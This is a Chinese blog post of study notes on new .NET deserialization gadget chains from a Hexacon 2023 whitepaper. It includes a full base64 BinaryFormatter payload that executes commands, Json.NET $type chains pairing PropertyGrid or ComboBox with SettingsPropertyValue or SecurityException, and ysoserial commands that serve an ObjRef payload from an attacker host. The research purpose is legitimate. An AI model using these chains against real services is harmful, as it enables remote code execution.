dotnet反序列化新链学习
@chudyPB在Hexacon 2023会议上发布了他的dotnet反序列化的研究白皮书,一个长达124页的pdf,这是我看过最强的一篇关于dotnet序列化漏洞的文章。
chudyPB从SolarWinds的json.net反序列化出发,从反序列化到黑名单绕过,其中黑名单绕过用到了多个gadget,其中有SolarWinds代码库中的,也有三方库中的。通过不断的黑名单绕过,展示了SolarWinds的多个历史漏洞。
然后展示了Delta Electronics InfraSuite Device Master中MessagePack的反序列化漏洞,针对该产品的设计架构,然后引出一个更大的利用面,即反序列化的恶意对象如果被再次序列化也会触发某些恶意操作。
对我而言这是一个新的利用面:不安全的序列化(Insecure Serialization),发生在序列化阶段。
接着作者对Insecure Serialization展示了几个gadget,然后由于序列化阶段调用的是getter,所以作者又找了几个getter call的gadget,然后串起来成为新的反序列化gadget。接下来我将主要对这部分进行学习。
# 不安全的序列化
1 SettingsPropertyValue
根据serializeAs进行binaryformatter.deserialize()
,参数都是可控的。
写出对应代码测试一下
using Newtonsoft.Json;
using System.Configuration;
namespace ConsoleApp2
{
internal class Program
{
static void Main(string[] args)
{
SettingsProperty settingsProperty = new SettingsProperty("aa");
settingsProperty.SerializeAs = SettingsSerializeAs.Binary;
SettingsPropertyValue settingsPropertyValue = new SettingsPropertyValue(settingsProperty);
settingsPropertyValue.Deserialized = false;
// ysoserial.exe -c calc -g TextFormattingRunProperties -f binaryformatter
settingsPropertyValue.SerializedValue = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==";
JsonConvert.SerializeObject(settingsPropertyValue, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.All });
}
}
}
可以看到通过序列化调用getter时弹出了计算器
2 SecurityException
朴实无华,但是在实际写的时候发现了问题。直接调用getter确实可以,但是通过json.net不行,究其原因发现json.net在序列化时,如果重写了序列化函数GetObjectData,则会调用该函数来序列化,binaryformatter也是一样。
所以不会触发getter。作者也写了限制
不过无所谓,可以和后面的任意getter call串起来。
3 CompilerResults
dll加载,略
# 任意getter call
1 PropertyGrid
他的SelectedObjects setter中可以调用obj的所有getter
{
"$type": "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"SelectedObjects": [
{
"your": "object"
}
]
}
东西太多 直接看堆栈
System.Object System.ComponentModel.PropertyDescriptor::GetValue(System.Object)
System.Windows.Forms.PropertyGridInternal.GridEntry[]
System.Windows.Forms.PropertyGridInternal.GridEntry::GetPropEntries(System.Windows.Forms.PropertyGridInternal.GridEntry,System.Object,System.Type)
System.Boolean System.Windows.Forms.PropertyGridInternal.GridEntry::CreateChildren(System.Boolean)
System.Void System.Windows.Forms.PropertyGridInternal.GridEntry::Refresh()
System.Void System.Windows.Forms.PropertyGrid::UpdateSelection()
System.Void System.Windows.Forms.PropertyGrid::RefreshProperties(System.Boolean)
System.Void System.Windows.Forms.PropertyGrid::Refresh(System.Boolean)
System.Void System.Windows.Forms.PropertyGrid::set_SelectedObjects(System.Object[])
循环遍历SelectedObjects,然后调用object的所有getter
2 ComboBox
{
"$type": "System.Windows.Forms.ComboBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"Items": [
{
"your": "obj"
}
],
"DisplayMember": "obj的成员名称",
"Text": "whatever"
}
3 ListBox
和ComboBox大同小异
{
"$type": "System.Windows.Forms.ListBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"Items": [
{
"your": "object"
}
],
"DisplayMember": "MaliciousMember",
"Text": "whatever"
}
4 CheckedListBox
和上面一样,不写了
# 串起来
- PropertyGrid+SecurityException
- PropertyGrid+SettingsPropertyValue
- ListBox+SecurityException
- ListBox+SettingsPropertyValue
- ComboBox+SecurityException
- ComboBox+SettingsPropertyValue
- CheckedListBox+SecurityException
- CheckedListBox+SettingsPropertyValue
写几个简单的
1 PropertyGrid + SecurityException
{
"$type": "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"SelectedObjects": [
{
"$type": "System.Security.SecurityException",
"ClassName": "System.Security.SecurityException",
"Message": "Security error.",
"Data": null,
"InnerException": null,
"HelpURL": null,
"StackTraceString": null,
"RemoteStackTraceString": null,
"RemoteStackIndex": 0,
"ExceptionMethod": null,
"HResult": -2146233078,
"Source": null,
"WatsonBuckets": null,
"Action": 0,
"FirstPermissionThatFailed": null,
"Demanded": null,
"GrantedSet": null,
"RefusedSet": null,
"Denied": null,
"PermitOnly": null,
"Assembly": null,
"Method": "base64-encoded-binaryformatter-gadget",
"Method_String": null,
"Zone": 0,
"Url": null
}
]
}
json.net对其进行处理时,会先把里层的SecurityException对象反序列化出来,然后把SecurityException对象传递给SelectedObjects的setter,这个setter可以调用SecurityException对象的getter,当执行到get_Method时就触发了BinaryFormatter rce。
由此,从setter->getter->rce的链串起来了。
2 ComboBox+SettingsPropertyValue
{
"$type": "System.Windows.Forms.ComboBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"Items": [
{
"$type": "System.Configuration.SettingsPropertyValue, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"Name": "test",
"IsDirty": false,
"SerializedValue": {
"$type": "System.Byte[], mscorlib",
"$value": "base64-encoded-binaryformatter-gadget"
},
"Deserialized": false
}
],
"DisplayMember": "PropertyValue",
"Text": "whatever"
}
同样setter->getter->rce
# 其他gadget
1 ObjRef
今天才看到ysoserial.net新增了很多gadget,其中有一条类似于java中的jrmp client,找了找,原始的利用文章在这, https://code-white.com/blog/2022-01-dotnet-remoting-revisited/
利用也很简单
# generate a SOAP payload for popping MSPaint
ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c MSPaint.exe > MSPaint.soap
# start server to deliver the payload on all interfaces
RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0/index.html MSPaint.soap
# test the ObjRef gadget with the target http://attacker/index.html
ysoserial.exe -f BinaryFormatter -g ObjRef -o raw -c http://attacker/index.html -t
通过Remoting来进行soap反序列化,其实也能用来做dnslog。
2 SSRF PictureBox
比较可惜的是PictureBox没继承Serializable接口,不能被BinaryFormatter这种原生formatter序列化。
3 dotnet5
白皮书最后提到了dotnet5的payload,我觉得都不太好用,需要启用wpf,或者需要PresentationFramework.dll,而且都是dll加载,不过也算是新的gadget了,记一下。
- ObjectDataProvider
- BaseActivationFactory
- CompilerResults
# 总结
看我文章不如看原pdf。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。

如果你觉得这篇文章对你有所帮助,欢迎赞赏或关注微信公众号~


